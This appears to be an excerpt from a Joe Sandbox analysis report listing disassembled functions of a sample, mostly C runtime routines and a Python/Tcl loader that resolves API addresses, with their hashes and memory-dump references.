Opcode Fuzzy Hash: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction Fuzzy Hash: 57415521A0C54285EBA1BBB4E4941FAB361FB94754FC00231D97E6B7D8DF3CE5498790

Function 00007FF7F3DDD12C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7F3DDD148
RtlCaptureContext.KERNEL32 ref: 00007FF7F3DDD175
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7F3DDD18F
RtlVirtualUnwind.KERNEL32 ref: 00007FF7F3DDD1D0
IsDebuggerPresent.KERNEL32 ref: 00007FF7F3DDD224
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7F3DDD241
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7F3DDD24C

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction ID: f02e511d704974825d1110e40f2446076dbc38835b2a37fc8baf5b5eafcf440e
Opcode Fuzzy Hash: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction Fuzzy Hash: AC314572609B8186EBA09FA0E8807ED7364FB85748F444039DA5D5BBD9DF3CD648C760

Function 00007FF7F3DF5C00 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7F3DF5C45

Part of subcall function 00007FF7F3DF5598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF55AC

Part of subcall function 00007FF7F3DEA948: HeapFree.KERNEL32(?,?,?,00007FF7F3DF2D22,?,?,?,00007FF7F3DF2D5F,?,?,00000000,00007FF7F3DF3225,?,?,?,00007FF7F3DF3157), ref: 00007FF7F3DEA95E
Part of subcall function 00007FF7F3DEA948: GetLastError.KERNEL32(?,?,?,00007FF7F3DF2D22,?,?,?,00007FF7F3DF2D5F,?,?,00000000,00007FF7F3DF3225,?,?,?,00007FF7F3DF3157), ref: 00007FF7F3DEA968

Part of subcall function 00007FF7F3DEA900: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7F3DEA8DF,?,?,?,?,?,00007FF7F3DEA7CA), ref: 00007FF7F3DEA909
Part of subcall function 00007FF7F3DEA900: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7F3DEA8DF,?,?,?,?,?,00007FF7F3DEA7CA), ref: 00007FF7F3DEA92E

_get_daylight.LIBCMT ref: 00007FF7F3DF5C34

Part of subcall function 00007FF7F3DF55F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF560C

_get_daylight.LIBCMT ref: 00007FF7F3DF5EAA
_get_daylight.LIBCMT ref: 00007FF7F3DF5EBB
_get_daylight.LIBCMT ref: 00007FF7F3DF5ECC
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7F3DF610C), ref: 00007FF7F3DF5EF3

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: 677ea417f3249c8bdb60afb6413c0575e0f743ff33606516b420b369f71394b1
Instruction ID: ce22389b0d4238fabec1117b19ec90c686226e4584af794b52388409d4679bd6
Opcode Fuzzy Hash: 677ea417f3249c8bdb60afb6413c0575e0f743ff33606516b420b369f71394b1
Instruction Fuzzy Hash: C4D1D322A0824646E7A4BF71D8801B9E752EF94794FC48135EA3E6F7D9DF3CE44187A0

Function 00007FF7F3DEA614 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7F3DEA68D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7F3DEA6A5
RtlVirtualUnwind.KERNEL32 ref: 00007FF7F3DEA6E0
IsDebuggerPresent.KERNEL32 ref: 00007FF7F3DEA719
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7F3DEA723
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7F3DEA72E

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction ID: d277a1c71338f8291452321b88f62b3e03fdd158b2b04791860cff91d12c42ab
Opcode Fuzzy Hash: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction Fuzzy Hash: 21319432608F8285DBA4DF74E8802AEB7A4FB85758F900135EAAD57B99DF3CC145CB50

Function 00007FF7F3DF1874 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF18C0
FindFirstFileExW.KERNEL32 ref: 00007FF7F3DF19CA

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 471de8175ffa50438b20796c5ba06e190623de8bcba55c14971da5e7bf2bc1ae
Instruction ID: 9d6aa7df9ac7cfe7ce49a40c7a8e33845df1d62af64414c4ce23ecc254a164ac
Opcode Fuzzy Hash: 471de8175ffa50438b20796c5ba06e190623de8bcba55c14971da5e7bf2bc1ae
Instruction Fuzzy Hash: 36B1C762B1869241EBA5ABB195401B9E354FB45BE4FC44231ED7D2FBC9DF3CE4418390

Function 00007FF7F3DF5E7C Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7F3DF5EAA

Part of subcall function 00007FF7F3DF55F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF560C

_get_daylight.LIBCMT ref: 00007FF7F3DF5EBB

Part of subcall function 00007FF7F3DF5598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF55AC

_get_daylight.LIBCMT ref: 00007FF7F3DF5ECC

Part of subcall function 00007FF7F3DF55C8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF55DC

Part of subcall function 00007FF7F3DEA948: HeapFree.KERNEL32(?,?,?,00007FF7F3DF2D22,?,?,?,00007FF7F3DF2D5F,?,?,00000000,00007FF7F3DF3225,?,?,?,00007FF7F3DF3157), ref: 00007FF7F3DEA95E
Part of subcall function 00007FF7F3DEA948: GetLastError.KERNEL32(?,?,?,00007FF7F3DF2D22,?,?,?,00007FF7F3DF2D5F,?,?,00000000,00007FF7F3DF3225,?,?,?,00007FF7F3DF3157), ref: 00007FF7F3DEA968

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7F3DF610C), ref: 00007FF7F3DF5EF3

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 179af59534a267e8b56f66eebf2dbf2058aebcf107c16e98e161f461d30bd41f
Instruction ID: 5a6dba40920c9645f2ea863ef8199061851d97349b4016abef8d2f7b12cae3e4
Opcode Fuzzy Hash: 179af59534a267e8b56f66eebf2dbf2058aebcf107c16e98e161f461d30bd41f
Instruction Fuzzy Hash: 1A518022A0864246E790FF71D8C11A9E761BF58794FC44135EA7E6B7D9DF3CE44087A0

Function 00007FF7F3DD5830 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD5840
GetLastError.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD5852
GetProcAddress.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD5889
GetLastError.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD589B
GetProcAddress.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD58B4
GetLastError.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD58C6
GetProcAddress.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD58DF
GetLastError.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD58F1
GetProcAddress.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD590D
GetLastError.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD591F
GetProcAddress.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD593B
GetLastError.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD594D
GetProcAddress.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD5969
GetLastError.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD597B
GetProcAddress.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD5997
GetLastError.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD59A9
GetProcAddress.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD59C5
GetLastError.KERNEL32(?,00007FF7F3DD64CF,?,00007FF7F3DD336E), ref: 00007FF7F3DD59D7

Strings

Py_PreInitialize, xrefs: 00007FF7F3DD595F, 00007FF7F3DD5981
PyConfig_SetString, xrefs: 00007FF7F3DD5A45, 00007FF7F3DD5A67
PyUnicode_Replace, xrefs: 00007FF7F3DD5FD7, 00007FF7F3DD5FF9
PyUnicode_AsUTF8, xrefs: 00007FF7F3DD5EC3, 00007FF7F3DD5EE5
PyUnicode_DecodeFSDefault, xrefs: 00007FF7F3DD5F1F, 00007FF7F3DD5F41
PyObject_Str, xrefs: 00007FF7F3DD5DAF, 00007FF7F3DD5DD1
PyImport_ImportModule, xrefs: 00007FF7F3DD5C3F, 00007FF7F3DD5C61
PyConfig_InitIsolatedConfig, xrefs: 00007FF7F3DD59BB, 00007FF7F3DD59DD
PyUnicode_FromFormat, xrefs: 00007FF7F3DD5F4D, 00007FF7F3DD5F6F
PySys_GetObject, xrefs: 00007FF7F3DD5E67, 00007FF7F3DD5E89
PyObject_CallFunctionObjArgs, xrefs: 00007FF7F3DD5D25, 00007FF7F3DD5D47
PyModule_GetDict, xrefs: 00007FF7F3DD5CC9, 00007FF7F3DD5CEB
PyEval_EvalCode, xrefs: 00007FF7F3DD5BB5, 00007FF7F3DD5BD7
PyErr_Occurred, xrefs: 00007FF7F3DD5B2B, 00007FF7F3DD5B4D
PyConfig_Clear, xrefs: 00007FF7F3DD598D, 00007FF7F3DD59AF
PyObject_GetAttrString, xrefs: 00007FF7F3DD5D53, 00007FF7F3DD5D75
PyErr_Restore, xrefs: 00007FF7F3DD5B87, 00007FF7F3DD5BA9
Failed to get address for %hs, xrefs: 00007FF7F3DD5861
Py_DecRef, xrefs: 00007FF7F3DD5836, 00007FF7F3DD5858
PyErr_Print, xrefs: 00007FF7F3DD5B59, 00007FF7F3DD5B7B
PyUnicode_Join, xrefs: 00007FF7F3DD5FA9, 00007FF7F3DD5FCB
PyConfig_SetBytesString, xrefs: 00007FF7F3DD5A17, 00007FF7F3DD5A39
Py_ExitStatusException, xrefs: 00007FF7F3DD58AA, 00007FF7F3DD58CC
PyRun_SimpleStringFlags, xrefs: 00007FF7F3DD5E0B, 00007FF7F3DD5E2D
PyConfig_SetWideStringList, xrefs: 00007FF7F3DD5A73, 00007FF7F3DD5A95
PyImport_AddModule, xrefs: 00007FF7F3DD5BE3, 00007FF7F3DD5C05
GetProcAddress, xrefs: 00007FF7F3DD5868
PyUnicode_FromString, xrefs: 00007FF7F3DD5F7B, 00007FF7F3DD5F9D
PyObject_CallFunction, xrefs: 00007FF7F3DD5CF7, 00007FF7F3DD5D19
Py_IsInitialized, xrefs: 00007FF7F3DD5931, 00007FF7F3DD5953
PyUnicode_Decode, xrefs: 00007FF7F3DD5EF1, 00007FF7F3DD5F13
PyErr_NormalizeException, xrefs: 00007FF7F3DD5AFD, 00007FF7F3DD5B1F
PyErr_Fetch, xrefs: 00007FF7F3DD5ACF, 00007FF7F3DD5AF1
Py_Finalize, xrefs: 00007FF7F3DD58D5, 00007FF7F3DD58F7
PySys_SetObject, xrefs: 00007FF7F3DD5E95, 00007FF7F3DD5EB7
Py_DecodeLocale, xrefs: 00007FF7F3DD587F, 00007FF7F3DD58A1
PyErr_Clear, xrefs: 00007FF7F3DD5AA1, 00007FF7F3DD5AC3
Py_InitializeFromConfig, xrefs: 00007FF7F3DD5903, 00007FF7F3DD5925
PyStatus_Exception, xrefs: 00007FF7F3DD5E39, 00007FF7F3DD5E5B
PyImport_ExecCodeModule, xrefs: 00007FF7F3DD5C11, 00007FF7F3DD5C33
PyMem_RawFree, xrefs: 00007FF7F3DD5C9B, 00007FF7F3DD5CBD
PyConfig_Read, xrefs: 00007FF7F3DD59E9, 00007FF7F3DD5A0B
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF7F3DD5DDD, 00007FF7F3DD5DFF
PyMarshal_ReadObjectFromString, xrefs: 00007FF7F3DD5C6D, 00007FF7F3DD5C8F
PyObject_SetAttrString, xrefs: 00007FF7F3DD5D81, 00007FF7F3DD5DA3

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction ID: 0de6f68d3225384e993f8530148b715efc1bdc2936629a268c8503234246543b
Opcode Fuzzy Hash: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction Fuzzy Hash: B322AC6490EB0B91FBD5BBE5B890574B361AF05795FC41035D83E2A2D8EF3CB16892E0

Function 00007FF7F3DD76C0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7F3DD76D7
GetLastError.KERNEL32 ref: 00007FF7F3DD76E9
GetProcAddress.KERNEL32 ref: 00007FF7F3DD7725
GetLastError.KERNEL32 ref: 00007FF7F3DD7737
GetProcAddress.KERNEL32 ref: 00007FF7F3DD7750
GetLastError.KERNEL32 ref: 00007FF7F3DD7762
GetProcAddress.KERNEL32 ref: 00007FF7F3DD777B
GetLastError.KERNEL32 ref: 00007FF7F3DD778D
GetProcAddress.KERNEL32 ref: 00007FF7F3DD77A9
GetLastError.KERNEL32 ref: 00007FF7F3DD77BB
GetProcAddress.KERNEL32 ref: 00007FF7F3DD77D7
GetLastError.KERNEL32 ref: 00007FF7F3DD77E9
GetProcAddress.KERNEL32 ref: 00007FF7F3DD7805
GetLastError.KERNEL32 ref: 00007FF7F3DD7817
GetProcAddress.KERNEL32 ref: 00007FF7F3DD7833
GetLastError.KERNEL32 ref: 00007FF7F3DD7845
GetProcAddress.KERNEL32 ref: 00007FF7F3DD7861
GetLastError.KERNEL32 ref: 00007FF7F3DD7873

Strings

Tcl_ThreadAlert, xrefs: 00007FF7F3DD79F5, 00007FF7F3DD7A17
Tcl_MutexUnlock, xrefs: 00007FF7F3DD78E1, 00007FF7F3DD7903
Tk_GetNumMainWindows, xrefs: 00007FF7F3DD7CA7, 00007FF7F3DD7CC9
Tcl_ConditionWait, xrefs: 00007FF7F3DD7999, 00007FF7F3DD79BB
Tcl_Alloc, xrefs: 00007FF7F3DD7C1D, 00007FF7F3DD7C3F
Tcl_CreateInterp, xrefs: 00007FF7F3DD771B, 00007FF7F3DD773D
Tk_Init, xrefs: 00007FF7F3DD7C79, 00007FF7F3DD7C9B
Tcl_Free, xrefs: 00007FF7F3DD7C4B, 00007FF7F3DD7C6D
Tcl_GetString, xrefs: 00007FF7F3DD7AAD, 00007FF7F3DD7ACF
Tcl_SetVar2Ex, xrefs: 00007FF7F3DD7B37, 00007FF7F3DD7B59
Tcl_GetObjResult, xrefs: 00007FF7F3DD7B65, 00007FF7F3DD7B87
Failed to get address for %hs, xrefs: 00007FF7F3DD76F8
Tcl_CreateObjCommand, xrefs: 00007FF7F3DD7A7F, 00007FF7F3DD7AA1
Tcl_Init, xrefs: 00007FF7F3DD76D0, 00007FF7F3DD76EF
Tcl_EvalObjv, xrefs: 00007FF7F3DD7BEF, 00007FF7F3DD7C11
Tcl_NewByteArrayObj, xrefs: 00007FF7F3DD7B09, 00007FF7F3DD7B2B
Tcl_FindExecutable, xrefs: 00007FF7F3DD7746, 00007FF7F3DD7768
GetProcAddress, xrefs: 00007FF7F3DD76FF
Tcl_DeleteInterp, xrefs: 00007FF7F3DD77FB, 00007FF7F3DD781D
Tcl_GetVar2, xrefs: 00007FF7F3DD7A23, 00007FF7F3DD7A45
Tcl_ConditionNotify, xrefs: 00007FF7F3DD796B, 00007FF7F3DD798D
Tcl_GetCurrentThread, xrefs: 00007FF7F3DD7857, 00007FF7F3DD7879
Tcl_DoOneEvent, xrefs: 00007FF7F3DD7771, 00007FF7F3DD7793
Tcl_FinalizeThread, xrefs: 00007FF7F3DD77CD, 00007FF7F3DD77EF
Tcl_ConditionFinalize, xrefs: 00007FF7F3DD793D, 00007FF7F3DD795F
Tcl_MutexLock, xrefs: 00007FF7F3DD78B3, 00007FF7F3DD78D5
Tcl_Finalize, xrefs: 00007FF7F3DD779F, 00007FF7F3DD77C1
Tcl_NewStringObj, xrefs: 00007FF7F3DD7ADB, 00007FF7F3DD7AFD
Tcl_JoinThread, xrefs: 00007FF7F3DD7885, 00007FF7F3DD78A7
Tcl_SetVar2, xrefs: 00007FF7F3DD7A51, 00007FF7F3DD7A73
Tcl_EvalFile, xrefs: 00007FF7F3DD7B93, 00007FF7F3DD7BB5
Tcl_EvalEx, xrefs: 00007FF7F3DD7BC1, 00007FF7F3DD7BE3
Tcl_CreateThread, xrefs: 00007FF7F3DD7829, 00007FF7F3DD784B
Tcl_ThreadQueueEvent, xrefs: 00007FF7F3DD79C7, 00007FF7F3DD79E9
Tcl_MutexFinalize, xrefs: 00007FF7F3DD790F, 00007FF7F3DD7931

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction ID: 2c5970798314cd67353c4770c197becfaa6e639420e33319c842569f418bac22
Opcode Fuzzy Hash: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction Fuzzy Hash: 0402AB2490EB0791EBD5BFA5A890578E361AF09755FC41071D83E2A2E8EF3CB15992F0

Function 00007FFE126C94B8 Relevance: 58.1, APIs: 4, Strings: 29, Instructions: 382COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE126C9A29
DName::operator+.LIBVCRUNTIME ref: 00007FFE126C9A5E
DName::operator+.LIBVCRUNTIME ref: 00007FFE126C9A97

Strings

char8_t, xrefs: 00007FFE126C97D9
bool, xrefs: 00007FFE126C9780
__int8, xrefs: 00007FFE126C96D2
char, xrefs: 00007FFE126C9588
volatile, xrefs: 00007FFE126C98CF
__int16, xrefs: 00007FFE126C96C0
__int64, xrefs: 00007FFE126C975F
volatile, xrefs: 00007FFE126C98A2
long, xrefs: 00007FFE126C9552
this , xrefs: 00007FFE126C9971
__int128, xrefs: 00007FFE126C9750
__int32, xrefs: 00007FFE126C976E
void, xrefs: 00007FFE126C961C
UNKNOWN, xrefs: 00007FFE126C992C
wchar_t, xrefs: 00007FFE126C994A
float, xrefs: 00007FFE126C960A
signed , xrefs: 00007FFE126C99F6
short, xrefs: 00007FFE126C9576
unsigned , xrefs: 00007FFE126C99E6
double, xrefs: 00007FFE126C95DE
char16_t, xrefs: 00007FFE126C97B8
const, xrefs: 00007FFE126C9887
long , xrefs: 00007FFE126C95C7
__w64 , xrefs: 00007FFE126C96FC
auto, xrefs: 00007FFE126C97EB
decltype(auto), xrefs: 00007FFE126C9900
char32_t, xrefs: 00007FFE126C99AB
<unknown>, xrefs: 00007FFE126C97CA
int, xrefs: 00007FFE126C9564

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: Name::operator+
String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $auto$bool$char$char16_t$char32_t$char8_t$const$decltype(auto)$double$float$int$long$long $short$signed $this $unsigned $void$volatile$wchar_t
API String ID: 2943138195-1482988683
Opcode ID: 9af3000e46094686c92b09a1ab6ba282d3ea35f814097fcec630d6e6c72122d6
Instruction ID: cc267c0f1a06e6a2923d8fcf9930fa540f5e774aeef774b5fd791ac74b2cc787
Opcode Fuzzy Hash: 9af3000e46094686c92b09a1ab6ba282d3ea35f814097fcec630d6e6c72122d6
Instruction Fuzzy Hash: 2C028172E19E5689FB28AB66DC941FC26B0BB05364FD441B5CA4D12AF8DFBCE524C340

